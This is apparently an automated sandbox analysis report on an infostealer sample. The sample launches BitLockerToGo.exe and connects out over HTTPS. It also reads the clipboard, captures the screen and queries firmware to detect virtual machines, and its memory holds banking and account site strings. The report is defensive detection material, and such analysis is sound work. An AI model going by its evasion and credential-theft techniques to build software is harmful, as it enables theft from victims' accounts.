Source: BitLockerToGo.exe, 00000003.00000003.2251991909.0000000004AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: BitLockerToGo.exe, 00000003.00000003.2251991909.0000000004AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BitLockerToGo.exe, 00000003.00000003.2251568251.0000000004D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: BitLockerToGo.exe, 00000003.00000003.2251568251.0000000004D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BitLockerToGo.exe, 00000003.00000003.2251568251.0000000004D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49722 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0025E4A0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_0025E4A0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0025E4A0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_0025E4A0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0025E680 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

3_2_0025E680

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2208741125.000000C000374000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0024E880	3_2_0024E880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00251910	3_2_00251910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00245C00	3_2_00245C00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00234C50	3_2_00234C50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0024662A	3_2_0024662A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00250FBC	3_2_00250FBC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00231072	3_2_00231072
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00233850	3_2_00233850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00252052	3_2_00252052
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00238130	3_2_00238130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00253142	3_2_00253142
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_002699C0	3_2_002699C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0026B270	3_2_0026B270
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00234240	3_2_00234240
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00236A40	3_2_00236A40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0026FACD	3_2_0026FACD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0023F300	3_2_0023F300
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0024DBEE	3_2_0024DBEE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00259BC7	3_2_00259BC7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00255BD0	3_2_00255BD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00236470	3_2_00236470
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00252C9D	3_2_00252C9D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00269CE0	3_2_00269CE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00262CC0	3_2_00262CC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0025AD4D	3_2_0025AD4D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0026B5C0	3_2_0026B5C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00231E20	3_2_00231E20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00254E6B	3_2_00254E6B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0024FFB0	3_2_0024FFB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00265F90	3_2_00265F90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_002537FE	3_2_002537FE

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00239280 appears 122 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00238B80 appears 43 times

Source: 6xmBUtHylU.exe

Static PE information: Number of sections : 12 > 10

Source: 6xmBUtHylU.exe, 00000000.00000003.2193938229.00000245F7550000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs 6xmBUtHylU.exe
Source: 6xmBUtHylU.exe, 00000000.00000003.2195259181.000000C0004DA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs 6xmBUtHylU.exe
Source: 6xmBUtHylU.exe, 00000000.00000000.2101657583.00007FF67F84F000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBlancco File.exeDVarFileInfo$ vs 6xmBUtHylU.exe
Source: 6xmBUtHylU.exe, 00000000.00000003.2193969767.00000245F7510000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs 6xmBUtHylU.exe
Source: 6xmBUtHylU.exe	Binary or memory string: OriginalFilenameBlancco File.exeDVarFileInfo$ vs 6xmBUtHylU.exe

Source: 00000000.00000002.2208741125.000000C000374000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0025E089 CoCreateInstance,

3_2_0025E089

Source: C:\Users\user\Desktop\6xmBUtHylU.exe

File created: C:\Users\Public\Libraries\fbnae.scif

Jump to behavior

Source: C:\Users\user\Desktop\6xmBUtHylU.exe

File opened: C:\Windows\system32\60b6415a5f0d74930314eeeb7aec7b0bfe16859cc1a40da63a927021322150daAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: 6xmBUtHylU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\6xmBUtHylU.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 6xmBUtHylU.exe	ReversingLabs: Detection: 42%
Source: 6xmBUtHylU.exe	Virustotal: Detection: 30%

Source: 6xmBUtHylU.exe	String found in binary or memory: etlfstack node allocated from the heap) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntim
Source: 6xmBUtHylU.exe	String found in binary or memory: etlfstack node allocated from the heap) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntim
Source: 6xmBUtHylU.exe	String found in binary or memory: sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stoppin
Source: 6xmBUtHylU.exe	String found in binary or memory: sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stoppin
Source: 6xmBUtHylU.exe	String found in binary or memory: failed to construct HKDF label: %sinvalid nested repetition operatorinvalid or unsupported Perl syntaxcrypto/rc4: invalid buffer overlapGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizereflect.MakeSlice of non-slice typecrypto/md5: invalid hash state size2006-01-02T15:04:05.999999999Z07:00SubscribeServiceChangeNotificationsCOFF symbols count is absurdly highnot a PE file, smaller than tiny PE` SizeOfRawData is larger than filenetwork dropped connection on resettransport endpoint is not connected1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9persistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=file type does not support deadlinex509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesssuperfluous leading zeros in lengthexecutable file not found in %PATH%ber2der: BER tag length is negativehttps://management.chinacloudapi.cnCONTINUATION frame with stream ID 0too many Questions to pack (>65535)transform: short destination buffer'_' must separate successive digitsbigmod: modulus is smaller than natunsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKmime: bogus characters after %%: %qhpack: invalid Huffman-encoded datadynamic table size update too largeflate: corrupt input before offset P224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitychacha20: output smaller than inputcrypto/cipher: input not full blocksmethod ABI and value ABI don't alignTime.UnmarshalBinary: invalid lengthstrings.Builder.Grow: negative countstrings: Join output length overflowThunk Address Of Data too spread outPower PC with floating point supportaccessing a corrupted shared library444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzbytes.Reader.ReadAt: negative offsetlfstack node allocated from the heap) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnable
Source: 6xmBUtHylU.exe	String found in binary or memory: failed to construct HKDF label: %sinvalid nested repetition operatorinvalid or unsupported Perl syntaxcrypto/rc4: invalid buffer overlapGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizereflect.MakeSlice of non-slice typecrypto/md5: invalid hash state size2006-01-02T15:04:05.999999999Z07:00SubscribeServiceChangeNotificationsCOFF symbols count is absurdly highnot a PE file, smaller than tiny PE` SizeOfRawData is larger than filenetwork dropped connection on resettransport endpoint is not connected1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9persistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=file type does not support deadlinex509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesssuperfluous leading zeros in lengthexecutable file not found in %PATH%ber2der: BER tag length is negativehttps://management.chinacloudapi.cnCONTINUATION frame with stream ID 0too many Questions to pack (>65535)transform: short destination buffer'_' must separate successive digitsbigmod: modulus is smaller than natunsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKmime: bogus characters after %%: %qhpack: invalid Huffman-encoded datadynamic table size update too largeflate: corrupt input before offset P224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitychacha20: output smaller than inputcrypto/cipher: input not full blocksmethod ABI and value ABI don't alignTime.UnmarshalBinary: invalid lengthstrings.Builder.Grow: negative countstrings: Join output length overflowThunk Address Of Data too spread outPower PC with floating point supportaccessing a corrupted shared library444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzbytes.Reader.ReadAt: negative offsetlfstack node allocated from the heap) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnable
Source: 6xmBUtHylU.exe	String found in binary or memory: net/addrselect.go
Source: 6xmBUtHylU.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: unknown	Process created: C:\Users\user\Desktop\6xmBUtHylU.exe "C:\Users\user\Desktop\6xmBUtHylU.exe"
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: 6xmBUtHylU.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 6xmBUtHylU.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 6xmBUtHylU.exe

Static file information: File size 6814720 > 1048576

Source: 6xmBUtHylU.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x277000
Source: 6xmBUtHylU.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x349800

Source: 6xmBUtHylU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: 6xmBUtHylU.exe, 00000000.00000003.2193938229.00000245F7550000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2195259181.000000C0004DA000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2193969767.00000245F7510000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: 6xmBUtHylU.exe, 00000000.00000003.2193938229.00000245F7550000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2195259181.000000C0004DA000.00000004.00001000.00020000.00000000.sdmp, 6xmBUtHylU.exe, 00000000.00000003.2193969767.00000245F7510000.00000004.00001000.00020000.00000000.sdmp

Source: 6xmBUtHylU.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0027016A push edx; ret

3_2_00270171

Source: C:\Users\user\Desktop\6xmBUtHylU.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 5820

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BitLockerToGo.exe, 00000003.00000003.2290216843.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2227392089.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2217427604.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2328165604.00000000027E8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2328165604.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2250362177.0000000002831000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002831000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BitLockerToGo.exe, 00000003.00000003.2238574332.0000000004A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
